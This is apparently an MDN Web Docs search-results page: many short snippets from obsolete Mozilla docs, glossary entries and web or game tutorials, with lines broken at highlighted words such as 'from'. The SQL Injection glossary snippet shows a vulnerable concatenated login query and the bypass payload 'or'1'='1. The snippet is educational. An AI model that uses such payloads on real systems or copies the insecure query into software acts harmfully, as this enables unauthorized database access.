from the clipboard on platforms other than windows?
2006-10-20 - Archive of obsolete content
announced by tim on
friday october 13, 2006.
...if your theme is chosen you will be placed on the hall of fame and will receive a gift
from mozilla.
...meet in irc chat room #testday on
friday october 20, 2006 7am-5pm pacific time.
NPClass - Archive of obsolete content
if this field is null,
free() is called isntead.
...this call is always followed by a call to the deallocate function, or
free().
... removeproperty called by npn_removeproperty() to remove a given property
from a specified npobject.
NPN_GetAuthenticationInfo - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary the function is called by plugins to get http authentication information
from the browser.
...if the function succeeds, the result buffer will be allocated with npn_memalloc; the plugin is responsible for
freeing the buffer.
...if the function succeed, the result buffer will be allocated with npn_memalloc; the plugin is responsible for
freeing the buffer.
NPN_Write - Archive of obsolete content
description npn_write() delivers a buffer
from the stream to the instance.
...the browser makes a copy of the buffer if necessary, so the plug-in can
free the buffer as the method returns, if desired.
...npstream* stream; char* mydata = "<html><b>this is a message
from my plug-in!</b></html>"; int32 mylength = strlen(mydata) + 1; /* create the stream.
What is RSS - Archive of obsolete content
in november 2002 and again in january 2003, rss 2.0 was changed
from its original specification by userland.
... </item> <item> <title>huh?</title> <guid>http://joe-blow.example.net/log/19</guid> <pubdate>sat, 14 may 2005 09:55:59 -0500</pubdate> <link>http://joe-blow.example.net/log/19</link> </item> <item> <title>black cat spotted</title> <guid>http://joe-blow.example.net/log/18</guid> <pubdate>
fri, 13 may 2005 13:13:13 -0500</pubdate> <link>http://joe-blow.example.net/log/18</link> </item> </channel> </rss> those who create internet radio use rss to allow users to access their shows.
... </item> <item> <title>huh?</title> <guid>http://joe-blow.example.net/log/19</guid> <pubdate>sat, 14 may 2005 09:55:59 -0500</pubdate> <link>http://joe-blow.example.net/log/19</link> </item> <item> <title>black cat spotted</title> <guid>http://joe-blow.example.net/log/18</guid> <pubdate>
fri, 13 may 2005 13:13:13 -0500</pubdate> <link>http://joe-blow.example.net/log/18</link> </item> </channel> </rss> note: broadcasting of internet radio is sometimes call podcasting, ipradio, and audio blogging.
SAX - Archive of obsolete content
set the handlers handlers are user-defined objects implementing sax handler interfaces, depending on what kind of information they need to get
from the parser.
...uri) { // don't care }, endprefixmapping: function(prefix) { // don't care }, // nsisupports queryinterface: function(iid) { if(!iid.equals(components.interfaces.nsisupports) && !iid.equals(components.interfaces.nsisaxcontenthandler)) throw components.results.ns_error_no_interface; return this; } }; start parsing the xml reader component can parse xml
from a string, an nsiinputstream, or asynchronously via the nsistreamlistener interface.
... below is an example of parsing
from a string: xmlreader.parse
fromstring("<f:a xmlns:f='g' d='1'><bbq/></f:a>", "text/xml"); this call results in the following output (assuming the content handler
from the example above is used): startdocument startelement: namespace='g', localname='a', qname='f:a', attributes={d='1'} startelement: namespace='', localname='bbq', qname='bbq', attributes={} endelement: namespace='', localname='bbq', qname='bbq' endelement: namespace='g', localname='a', qname='f:a' enddocument ...
Vulnerabilities - Archive of obsolete content
an attacker could craft a
fraudulent email message that contains hyperlinks that, when rendered in html, appear to the recipient to be benign but actually take the recipient to a malicious web site when they are clicked on.
... it may be hard to differentiate software feature misuse vulnerabilities
from the other two categories.
... the organization publishes a list of top web security vulnerabilities based on the data
from various security organizations.
Solaris 10 Build Prerequisites - Archive of obsolete content
the installer must install additional sun-provided packages
from the os install dvd, so that dvd has to be available.
...fortunately, it also isn't necessary, so you can fix this problem by simply removing the reference to that package
from the installer script (cbe-install).
...build pkg-config and gtk-doc
from source.
-ms-filter - Archive of obsolete content
<div id="filter
from" style="position: absolute; width: 200px; height: 250px; background-color: white; filter: revealtrans()"> <img id="image
from" style="position: absolute; top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute;...
... width: 200px; height: 250px; top: 20px; left: 20px; background: white; visibility: hidden;"> </div> </div> <script type="text/javascript"> let filterimg = document.queryselector('#filter
from'); filterimg.addeventlistener('click', dofilter); function dofilter () { filter
from.filters.item(0).apply(); // 12 is the dissolve filter.
... filter
from.filters.item(0).transition=12; image
from.style.visibility = "hidden"; filterto.style.visibility = ""; filter
from.filters.item(0).play(14); } </script> </body> gradient progid:dximagetransform.microsoft.gradient( <properties> ) where <properties> = [ <enabled> | <endcolor> | <endcolorstr> | <gradienttype> | <startcolor> | <startcolorstr> ]# where <enabled> = 'enabled=' [ true | false ] <endcolor> = 'startcolor=' <color> <endcolorstr> = 'startcolorstr=' <color> <gradienttype> = 'gradienttype=' <integer> <startcolor> = 'startcolor=' <color> <startcolorstr> = 'startcolorstr=' <color> enabled default: true set to false to disable.
E4X for templating - Archive of obsolete content
createbundle('chrome://myeext/locale/myext.properties'); if (args){ args = array.prototype.slice.call(arguments, 1); return strs.formatstring
fromname(msg,args,args.length); } return strs.getstring
fromname(msg); } for example, <toolbarbutton label={$s('mytoolbar.label')}/> conditionals function _if (cond, h, _else) { if (cond && cond != undefined) { // we need undefined condition for e4x return h(cond); } else if (_else) { return _else(cond); } return ''; // empty string allows conditions in a...
...xmllist[k]); } } arr.sort(h).foreach(function (item) { if (typeof item === 'xml') { ret += item; } else if (typeof item === 'string') { ret += new xml(item); } else { var ser = (new xmlserializer()).serializetostring(item); ret += new xml(ser); } }); return ret; } example: var
fruits = <
fruits> <item>pear</item> <item>banana</item> <item>grapes</item> </
fruits>; alert( // using a javascript 1.8 expression closure <output> {sort(
fruits.*, function (a, b) a.text() > b.text() /* text() call may not be necessary */ )} </output>.toxmlstring() ); /* <output> <item>banana</item> <item>grapes</item> <item>pear</item> </output> */ the above utility also w...
...although a big advantage of e4x is being able to separate presentation
from business logic, and the above-mentioned technique may fly in the face of this, if formatted well, it can also allow inline shaping of xml somewhat akin to the w3c standard xquery language, allowing the scripting to mix in context with the surrounding declarative xml: var a = <a><b/><c/><d/></a>; var b = <bar>{function () { var content = <></>; for each (var el in a) { el.@att = ...
Processing XML with E4X - Archive of obsolete content
compatibility issues prior to widespread browser support for the <script> element, it was common for javascript embedded in a page to be surrounded by html comment tags to prevent <script> unaware browsers
from displaying javascript code to the user.
...the syntax is designed to be familiar to javascript programmers, but e4x does not provide a direct mapping
from xml to native javascript objects; just the illusion of one.
... objects representing xml elements provide a number of useful methods, some of which are illustrated below: todo: add all of the methods to the javascript reference, link
from here alert(person.name.text()) // bob smith var xml = person.name.toxmlstring(); // a string containing xml var personcopy = person.copy(); // a deep copy of the xml object var child = person.child(1); // the second child node; in this case the <likes> element working with xmllists in addition to the xml object, e4x introduces an xmllist object.
ArrayBuffer.transfer() - Archive of obsolete content
the static arraybuffer.transfer() method returns a new arraybuffer whose contents have been taken
from the oldbuffer's data and then is either truncated or zero-extended by newbytelength.
... syntax arraybuffer.transfer(oldbuffer [, newbytelength]); parameters oldbuffer an arraybuffer object
from which to transfer.
...this is not the exact equivalent of this api because browsers that natively support it are be able to internally use the c++ function realloc() which extends the length of the memory and only copies it to a new location as-needed as opposed to the following pollyfill which always copies the whole thing to a new space of memory, but this function transfers data
from one arraybuffer to another arraybuffer.
New in JavaScript 1.8.5 - Archive of obsolete content
bug 492849 object.seal() prevents other code
from deleting properties of an object.
...bug 492845 object.
freeze()
freezes an object: other code can't delete or change any properties.
... bug 492844 object.is
frozen() determines if an object was
frozen.
Object.prototype.watch() - Archive of obsolete content
by default, the watch method is inherited by every object descended
from object.
... in firefox, handler is only called
from assignments in script, not
from native code.
... examples using watch and unwatch const o = { p: 1 }; o.watch('p', (id, oldval, newval) => { console.log('o.' + id + ' changed
from ' + oldval + ' to ' + newval); return newval; }); o.p = 2; o.p = 3; delete o.p; o.p = 4; o.unwatch('p'); o.p = 5; this script displays the following: o.p changed
from 1 to 2 o.p changed
from 2 to 3 o.p changed
from undefined to 4 using watch() to validate an object's properties you can use watch to test any assignment to an object's properties.
JavaArray - Archive of obsolete content
summary core object a wrapped java array accessed
from within javascript code is a member of the type javaarray.
...in addition, the tostring method is inherited
from the object object and returns the following value: [object javaarray] you must specify a class object, such as one returned by java.lang.object.forname, for the componenttype parameter of newinstance when you use this method to create an array.
... in javascript 1.4 and later, javaarray also inherits methods
from the java array superclass, java.lang.object.
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
use of comments inside inline style and script authors who are familiar with html commonly enclose the contents of inline style and script tags in comments in order to hide the contents of the tags
from browsers which do not understand them.
... recommendations do not use inline style or script in xhtml replacing inline style and script with external files containing the css rules and javascript is the best approach for authoring xhtml in a backwardly compatible fashion that will not break if the mime type of the content is changed
from text/html to application/xhtml+xml.
... this recommendation may seem rather strong however it is made with the intention of reducing future problems with xhtml content when the transition
from serving xhtml as text/html to application/xhtml+xml occurs in the next few years.
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
i also added a border to the image, so that it would have a nice
frame.
...thus, the text starts 159 pixels
from the leftmost edge of the card (4px left margin plus 5px left border plus 150px left padding).
... conclusion redesigning a classic is something like being asked to revisemoby dick for modern audiences: you're thrilled at the opportunity, but a
fraid of doing injustice to the original.
background-size - Archive of obsolete content
feel
free to put it inside, nothing is set in stone.
... if so, feel
free to change the en/css_reference/property_template and all css property pages ; ) start with -webkit-background-size and investigate support of contain and cover keywords and "omitted second value" behavior.
...user:jürgen jeka 2009-08-09 ok, here's a page with both rules - the css is derived
from the code on the page here, this is what it looks like in 3.6a2pre on linux, the background image appears on the whole page, and then again behind the main content.
RFE to the XForms API - Archive of obsolete content
xforms dom is a list of interfaces that are available
from xforms elements directly.
... this means those interfaces available to be queried
from the xforms element that resides in the dom.
...if you need some additional functionality that shouldn't be exposed
from the xforms element directly, then you should think which interface of the xforms element is more appropriate to expose it.
XForms Select Element - Archive of obsolete content
introduction allows the user to choose one or more selections
from a list of pre-defined items (see the spec).
...this attribute, when set to 'open', allows the user to provide
free entry to the list.
...the data binding restriction to simple content may be relaxed when an itemset element is used, which allows the available choices to be obtained
from an xforms model.
XForms Select1 Element - Archive of obsolete content
introduction allows the user to choose a single value
from a list of pre-defined values (see the spec).
... single-node binding special selection - this attribute, when set to 'open', allows the user to provide
free entry to the list.
...the data binding restriction to simple content may be relaxed when an itemset element is used, which allows the available choices to be obtained
from an xforms model.
XForms - Archive of obsolete content
note: support for xforms was removed
from firefox in firefox 19.
...other strengths that xforms brings to the table is the separation of data
from presentation, strong data typing, the ability to submit xml data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices.
... documentation implementation status implementation status of the mozilla xforms extension building get started with building your own xforms extensions
from source.
Displaying a graphic with audio samples - Archive of obsolete content
the following example shows how to take samples
from an audio stream and display them behind an image (in this case, the mozilla logo), giving the impression that the image is built
from the samples.
...-element" src="revolve.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <img id="mozlogo" style="display:none" src="mozilla2.png"></img> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate,
framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate;
framebufferlength = audio.moz
framebufferlength; fft = new fft(
framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.
framebuffer, t = event.time, ...
.../* unused, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl =
framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] + fb[2*i+1]) / 2; } // clear the canvas before drawing spectrum ctx.fillstyle = "rgb(0,0,0)"; ctx.fillrect (0,0, canvas.width, canvas.height); ctx.fillstyle = "rgb(255,255,255)"; for (var i = 0; i < signal.length; i++ ) { // multiply spectrum by a zoom value magnitude = signal[i] * 1000; // draw rectangle bars for each
frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magn...
Examples - Game development
this page lists a number of impressive web technology demos for you to get inspiration
from, and generally have fun with.
...
free/demo games beloola webvr platform to connect passionate people.
... shoot the rocks a canvas 2d single-player shooter in the style of atari's classic asteroids arcade game
from 1979.
Publishing games - Game development
html5 games have a huge advantage over native in terms of publishing and distribution — you have the
freedom of distribution, promotion and monetization of your game on the web, rather than each version being locked into a single store controlled by one company.
... you can benefit
from the web being truly multiplatform.
...there are many game promotion techniques — many of them
free — so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game.
Building up a basic demo with PlayCanvas - Game development
the online editor is
free for public projects with up to two team members, but there are also paid plans if you'd like to run a commercial private project with more developers.
... playcanvas engine built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with ammo.js), audio, and facilities to handle control inputs
from various devices (including gamepads).
... playcanvas editor instead of coding everything
from the beginning you can also use the online editor.
2D breakout game using pure JavaScript - Game development
after that, you can pick any
framework you like and use it for your projects.
...
frameworks are just tools built with the javascript language; so even if you plan on working with them, it's good to learn about the language itself first to know what exactly is going on under the hood.
...
frameworks speed up development time and help take care of boring parts of the game, but if something is not working as expected, you can always try to debug that or just write your own solutions in pure javascript.
Buttons - Game development
add the following to the bottom of the preload() function: game.load.spritesheet('button', 'img/button.png', 120, 40); a single button
frame is 120 pixels wide and 40 pixels high.
... you also need to grab the button spritesheet
from github, and save it in your /img directory.
...add.button(game.world.width*0.5, game.world.height*0.5, 'button', startgame, this, 1, 0, 2); startbutton.anchor.set(0.5); the button() method's parameters are as follows: the button's x and y coordinates the name of the graphic asset to be displayed for the button a callback function that will be executed when the button is pressed a reference to this to specify the execution context the
frames that will be used for the over, out and down events.
Collision detection - Game development
thanks to phaser there are two parameters passed to the function — the first one is the ball, which we explicitly defined in the collide method, and the second one is the single brick
from the bricks group that the ball is colliding with.
... inside the function we remove the brick in question
from the screen simply by running the kill() method on it.
...that's the beauty of using the
framework — you can leave a lot of boring code to phaser, and focus on the most fun and interesting parts of making a game.
Move the ball - Game development
updating the ball's position on each
frame remember the update() function and its definition?
... the code inside it is executed on every
frame, so it's a perfect place to put the code that will update the ball's position on screen.
... add the following new lines of the code inside update(), as shown: function update() { ball.x += 1; ball.y += 1; } the code above adds 1 to the x and y properties representing the the ball coordinates on the canvas, on each
frame.
Physics - Game development
add the following line, again at the bottom of create(): ball.body.velocity.set(150, 150); removing our previous update instructions remember to remove our old method of adding values to x and y
from the update() function: function update() { ball.x += 1; ball.y += 1; } we are now handling this properly, with a physics engine.
...at the moment, the physics engine has gravity and
friction set to zero.
... adding gravity would result in the ball falling down while
friction would eventually stop the ball.
Tutorials - Game development
2d breakout game using phaser in this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that this time you'll do it using thephaser html5 game
framework.
... this idea here is to teach some of the fundamentals (and advantages) of working with
frameworks, along with fundamental game mechanics.
...this is a mobile game that uses the device orientation and vibration apis to enhance the gameplay and is built using the phaser
framework.
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
ajax allows you to update parts of the dom of an html page instead without the need for a full page re
fresh.
... ajax also lets you work asynchronously, meaning your code continues to run while the targeted part of your web page is trying to reload (compared to synchronously, which blocks your code
from running until that part of your page is done reloading).
... with interactive websites and modern web standards, ajax is gradually being replaced by functions within javascript
frameworks and the official fetch api standard.
API - MDN Web Docs Glossary: Definitions of Web-related terms
for example: the getusermedia api can be used to grab audio and video
from a user's webcam, which can then be used in any way the developer likes, for example, recording video and audio, broadcasting it to another user in a conference call, or capturing image stills
from the video.
... the geolocation api can be used to retrieve location information
from whatever service the user has available on their device (e.g.
... the twitter apis can be used to retrieve data
from a user's twitter accounts, for example, to display their latest tweets on a web page.
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
when software communicates asynchronously, a program may make a request for information
from another piece of software (such as a server), and continue to do other things while waiting for a reply.
... for example, the ajax (asynchronous javascript and xml) programming technique—now usually simply "ajax", even though json is usually used rather than xml in modern applications—is a mechanism that requests relatively small amounts of data
from the server using http, with the result being returned when available rather than immediately.
... learn more technical reference fetching data
from the server (learning area) synchronous ...
CSS pixel - MDN Web Docs Glossary: Definitions of Web-related terms
by definition, this is the physical size of a single pixel at a pixel density of 96 dpi, located an arm's length away
from the viewer's eyes.
... that definition, of course, leaves a lot of wiggle room, as the terms "be comfortably seen" and "an arm's length away" are imprecise, varying
from person to person.
... when a user is sitting at a desk in
front of a desktop, the display is generally substantially farther away
from their eyes than when they're on a cell phone, for instance.
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
code is run in order
from the first line in the file to the last line, unless the computer runs across the (extremely
frequent) structures that change the control flow, such as conditionals and loops.
... for example, imagine a script used to validate user data
from a webpage form.
... control flow means that when you read a script, you must not only read
from start to finish but also look at program structure and how it affects order of execution.
Domain sharding - MDN Web Docs Glossary: Definitions of Web-related terms
the initial response
from an http request is generally an html file listing other resources such as javascript, css, images and other media files that need to be downloaded.
... as browsers limit the number of active connections per domain, serving all the required resources
from a single domain could be slow as assets need to be downloaded sequentially.
... with domain sharding, the required downloads are served
from more than one domain, enabling the browser to simultaneously download needed resources.
Fetch metadata request header - MDN Web Docs Glossary: Definitions of Web-related terms
a fetch metadata request header is a http request header that provides additional information about the context the request originated
from.
... these header names are prefixed with sec- and thus they are forbidden header names so headers can not be modified
from javascript.
... fetch metadata request headers provide the server with additional information about where the request originated
from, enabling it to ignore potentially malicious requests.
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
an idl (interface description language) is a generic language used to specified objects' interfaces apart
from any specific programming language.
... the content attribute is the attribute as you set it
from the content (the html code) and you can set it or get it via element.setattribute() or element.getattribute().
...html specifications try to make this as developer-
friendly as possible, but for various reasons (mostly historical), some attributes behave oddly (select.size, for example) and you should read the specifications to understand how exactly they behave.
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
in our shopping list app, the view would define how the list is presented to the user, and receive the data to display
from the model.
... the controller the controller contains logic that updates the model and/or view in response to input
from the users of the app.
... web
frameworks such as angularjs and ember.js all implement an mvc architecture, albeit in slightly different ways.
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
sql injection can gain unauthorized access to a database or to retrieve information directly
from the database.
... how it works after entering username and password, behind the gui the sql queries work as follows: "select count(*)
from users where username=' " + txt.user.text+" ' and password=' "+ txt.password.text+" ' "; now suppose user enters the username: admin and password: passwd123, so after clicking on the log in button, sql query will run as follows: "select count(*)
from users where username=' admin ' and password=' passwd123 ' "; if the credentials are correct, then the user is allowed to log in, so it's a very simple (and therefore insecure) mechanism.
... hackers use a simple string called a magical string, for example: username: admin password: anything 'or'1'='1 after clicking on the login button, the sql query will work as follows: "select count(*)
from users where username=' admin ' and password=' anything 'or'1'='1 ' "; just take a closer look at the above query's password section.
Search engine - MDN Web Docs Glossary: Definitions of Web-related terms
a search engine is a software system that collects information
from the world wide web and presents it to users who are looking for specific information.
... a search engine conducts the following processes: web crawling: searching web sites by navigating hyperlinks on web pages, both within a site, and
from one site to another.
... a web site owner can exclude areas of the site
from being accessed by a search engine's web crawler (or spider), by defining "robot exclusion" information in a file named robots.txt.
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
semantics in css in css, consider styling a list with li elements representing different types of
fruits.
... would you know what part of the dom is being selected with div > ul > li, or .
fruits__item?
... some of the benefits
from writing semantic markup are as follows: search engines will consider its contents as important keywords to influence the page's search rankings (see seo) screen readers can use it as a signpost to help visually impaired users navigate a page finding blocks of meaningful code is significantly easier than searching though endless divs with or without semantic or namespaced classes suggests ...
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
syntax varies
from language to language (e.g., syntax is different in html and javascript).
...even small errors, like a missing parenthesis, can stop source code
from compiling successfully.
...
frameworks are said to have a "clean" syntax if they produce simple, readable, concise results.
Type coercion - MDN Web Docs Glossary: Definitions of Web-related terms
type coercion is the automatic or implicit conversion of values
from one data type to another (such as strings to numbers).
... type conversion is similar to type coercion because they both convert values
from one data type to another with one key difference — type coercion is implicit whereas type conversion can be either implicit or explicit.
... examples const value1 = '5'; const value2 = 9; let sum = value1 + value2; console.log(sum); in the above example, javascript has coerced the 9
from a number into a string and then concatenated the two values together, resulting in a string of 59.
UI - MDN Web Docs Glossary: Definitions of Web-related terms
in the world of computers, it can be anything
from a keyboard, a joystick, a screen or a program.
... in case of computer software, it can be a command-line prompt, a webpage, a user input form, or the
front-end of any application.
... learn more general knowledge user interface on wikipedia
front end development on wikipedia ...
About Scriptable Interfaces - Interfaces
when we label an interface as scriptable, we're saying that components exporting this interface can be referenced (through this interface)
from scripts (e.g javascript), and that we can write new components implementing the interface using script languages.
... xpconnect xpconnect is a technology that allows scriptable interfaces to be used/implemented
from/in javascript scripts.
... python there's an extension extensions/python that bridges the gap between xpcom and python, allowing scriptable interfaces to be used/implemented
from/in python scripts.
Accessibility - Learn web development
to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility
from the start.
...the following video provides a nice introduction to it: looking to become a
front-end web developer?
... wai-aria basics following on
from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
Cascade and inheritance - Learn web development
if this was the case, css would be very
frustrating to use!
... understanding the cascade we now understand why a paragraph nested deep in the structure of your html is the same color as the css applied to the body, and
from the introductory lessons we have an understanding of how to change the css applied to something at any point in the document — whether by assigning css to an element or creating a class.
... a more accurate way to evaluate specificity would be to score the specificity levels individually starting
from highest and moving on to lowest when necessary.
CSS building blocks - Learn web development
looking to become a
front-end web developer?
...
from adding gradients, background images, and rounded corners, backgrounds and borders are the answer to a lot of styling questions in css.
...understanding what is and isn't possible can save some
frustration, and this lesson will highlight some of the main things that you need to know.
Typesetting a community school homepage - Learn web development
if the online editor you are using doesn't have a separate css panel, feel
free to put it in a <style> element in the head of the document.
... fonts: first of all, download a couple of
free-to-use fonts.
... remove the default focus outline
from all the links on the page.
What is a web server? - Learn web development
for example, to produce the final webpages you see in the browser, the application server might fill an html template with content
from a database.
...(services range
from
free to thousands of dollars per month.) you can find more details in this article.
... the term dynamic means that the server processes the content or even generates it on the fly
from a database.
Common questions - Learn web development
the internet is the backbone of the web, the technical in
frastructure that makes the web possible.
... domain names are a key component of the internet in
frastructure.
... this article shows how to publish your site online with ftp tools — one of the most common ways to get a website online so others can access it
from their computers.
How to structure a web form - Learn web development
here is a little example: <form> <fieldset> <legend>
fruit juice size</legend> <p> <input type="radio" name="size" id="size_1" value="small"> <label for="size_1">small</label> </p> <p> <input type="radio" name="size" id="size_2" value="medium"> <label for="size_2">medium</label> </p> <p> <input type="radio" name="size" id="size_3" value="large"> <label for="size_3">large</label> </p> </fiel...
... when reading the above form, a screen reader will speak "
fruit juice size small" for the first widget, "
fruit juice size medium" for the second, and "
fruit juice size large" for the third.
...we will cover many of the features introduced here in the next few articles, with the next article looking in more detail at using all the different types of form widgets you'll want to use to collect information
from your users.
Your first form - Learn web development
from a user experience (ux) point of view, it's important to remember that the bigger your form, the more you risk
frustrating people and losing users.
... uxmatters is also a very thoughtful resource with good advice
from basic best practices to complex concerns such as multi-page forms.
...
from a ux point of view, this is considered bad practice, so you should avoid using this type of button unless you really have a good reason to include one.
Web forms — Working with user data - Learn web development
web forms are a very powerful tool for interacting with users — most commonly they are used for collecting data
from users, or allowing them to control a user interface.
... looking to become a
front-end web developer?
...we also want to help our users to fill out our forms correctly and not get
frustrated when trying to use our apps.
Dealing with files - Learn web development
to walk down the file structure
from index.html to our image, the file path we'd need is images/your-image-filename.
... to reference a file in a subdirectory, write the directory name in
front of the path, plus a forward slash, e.g.
...so for example, if index.html was inside a subfolder of test-site and my-image.jpg was inside test-site, you could reference my-image.jpg
from index.html using ../my-image.jpg.
HTML basics - Learn web development
<meta charset="utf-8"> — this element sets the character set your document should use to utf-8 which includes most characters
from the vast majority of written languages.
... paragraphs as explained above, <p> elements are for containing paragraphs of text; you'll use these
frequently when marking up regular text content: <p>this is a single paragraph</p> add your sample text (you should have it
from what should your website look like?) into one or a few paragraphs, placed directly below your <img> element.
... for example, if we wanted to turn the part of the following paragraph
fragment into a list <p>at mozilla, we’re a global community of technologists, thinkers, and builders working together ...
Installing basic software - Learn web development
libraries,
frameworks, etc., to speed up writing common functionality.
...a
framework tend to take this idea further, offering a complete system with some custom syntaxes for you to write a web app on top of.
...we recommend starting with visual studio code, which is a
free editor, that offers live previews and code hints.
Getting started with the Web - Learn web development
by working through the articles listed below in order, you will go
from nothing to getting your first webpage online.
... installing basic software when it comes to tools for building a website, there's a lot to pick
from.
... if you're just starting out, you might be confused by the array of code editors,
frameworks, and testing tools out there.
Debugging HTML - Learn web development
html itself doesn't suffer
from syntax errors because browsers parse it permissively, meaning that the page still displays even if there are syntax errors.
...the web would probably not be as popular as it is today, if it had been more strict
from the very beginning.
... let's look at an example: </strong> </li> html validation so you can see
from the above example that you really want to make sure your html is well-formed!
Test your skills: Links - Learn web development
this is not strictly best practice, but we've done it here so that the page doesn't open in the embedded <i
frame>, getting rid of your example code in the process!
...this is not strictly best practice, but we've done it here so that the pages don't open in the embedded <i
frame>, getting rid of your example code in the process!
...this is not strictly best practice, but we've done it here so that the pages don't open in the embedded <i
frame>, getting rid of your example code in the process!
Mozilla splash page - Learn web development
objective: to test knowledge around embedding images and video in web pages,
frames, and html responsive image techniques.
... note: to properly test the srcset/sizes examples, you'll need to upload your site to a server (using github pages is an easy and
free solution), then
from there you can test whether they are working properly using browser developer tools such as the firefox network monitor.
... previous overview: multimedia and embedding in this module images in html video and audio content
from <object> to <i
frame> — other embedding technologies adding vector graphics to the web responsive images mozilla splash page ...
Responsive images - Learn web development
each set of image information is separated
from the previous one by a comma.
...like <video> and <audio>, the <picture> element is a wrapper containing several <source> elements that provide different sources for the browser to choose
from, followed by the all-important <img> element.
...you can supply mime types inside type attributes so the browser can immediately reject unsupported file types: <picture> <source type="image/svg+xml" srcset="pyramid.svg"> <source type="image/webp" srcset="pyramid.webp"> <img src="pyramid.png" alt="regular pyramid built
from four equilateral triangles"> </picture> do not use the media attribute, unless you also need art direction.
Multimedia and Embedding - Learn web development
looking to become a
front-end web developer?
...
from <object> to <i
frame> — other embedding technologies at this point we'd like to take somewhat of a sideways step, looking at a couple of elements that allow you to embed a wide variety of content types into your webpages: the <i
frame>, <embed> and <object> elements.
... <i
frame>s are for embedding other web pages, and the other two allow you to embed pdfs, svg, and even flash — a technology on its way out, but which you may still see semi-regularly.
Making asynchronous programming easier with async and await - Learn web development
the async keyword first of all we have the async keyword, which you put in
front of a function declaration to turn it into an async function.
...this can be put in
front of any async promise-based function to pause your code on that line until the promise fulfills, then return the resulting value.
... async/await class methods as a final note before we move on, you can even add async in
front of class/object methods to make them return promises, and await promises inside them.
Test your skills: Math - Learn web development
you will have to create four numeric values, then add the first two together, then subtract the fourth
from the third, then multiply the two secondary results together to get a result of 48.
... subtract the fourth variable
from the third and store the result in another variable.
... multiply the results
from the last two steps together, storing the result in a variable called finalresult.
Perceived performance - Learn web development
even though the bytes might be the same, not blocking the page
from rendering makes the load feel faster.
... to minimize the assets required for initial load, separate interactive functionality
from content so that required content -- the text, styles, and images visible at initial load -- can be loaded first.
...they feel that a page is janky when content repaints slower than 16.67ms (or 60
frames per second) or repaints at uneven intervals.
Using Vue computed properties - Learn web development
previous overview: client-side javascript
frameworks next in this article we'll add a counter that displays the number of completed todo items, using a feature of vue called computed properties.
...we do however have bigger fish to
fry — in the next article we will look at conditional rendering, and how we can use it to show an edit form when we want to edit existing todo items.
... previous overview: client-side javascript
frameworks next in this module introduction to client-side
frameworks
framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a n...
ZoomText
issues for ai squared,
from high to low priority docreader and appreader don't respect the structure of the document -- no support for columns.
... zoomtext text to speech doesn't always echo what it should -- need more details
from testers.
... mozilla issues cannot tab into
frames and i
frames.
Index
the content you add to a listing is therefore vital:
from making effective use of keywords in your descriptions, to get visibility in external search engine results, through having an icon that attracts a user’s attention
from a category list, to screenshots that show how useful your add-on is.
... 678 make money
from browser extensions guide, monetization, webextensions, distribution while users can download browser extensions for firefox
free of cost
from addons.mozilla.org (amo), this doesn’t mean you can’t make money
from browser extensions, and to a more limited extent themes.
... 679 promoting your extension or theme add-ons, extensions, promotion, themes, webextensions, distribution so you’ve written a great extension, but only a few people have found and installed it
from addons.mozilla.org—despite your efforts to create an appealing listing.
What to do and what not to do in Bugzilla
reports of problems with specific websites that result
from bad coding practices already determined to be “tech evangelism” cases by the module owner or peer, or problems that result
from the use of proprietary technology, should be be moved to the tech evangelism product rather than being resolved as invalid.
...r loss of function normal regular issue, some loss of functionality under specific circumstances minor minor loss of function, or other problem where easy workaround is present trivial cosmetic problem like misspelled words or misaligned text enhancement request for enhancement the blocker severity should be used very seldomly, because only a
fraction of the hundreds of thousands bugs really block the development of mozilla and these are normally fixed very quickly.
...basically, anything that prevents builds
from building, running, or being used for dogfood (able to use bugzilla, tinderbox, lxr, etc.) is a blocker.
Creating MozSearch plugins
for creating search plugins for installation
from the web, see creating opensearch plugins for firefox the plugin file the mozsearch format is similar to the opensearch format.
...abaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}" /> <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="
fr" condition="pref" pref="yahoo-
fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> let's say the user chooses to use the yahoo!
...firefox will use the above search engine description to construct the following search url: http://search.yahoo.com/search?p=mozilla&ei=utf-8&
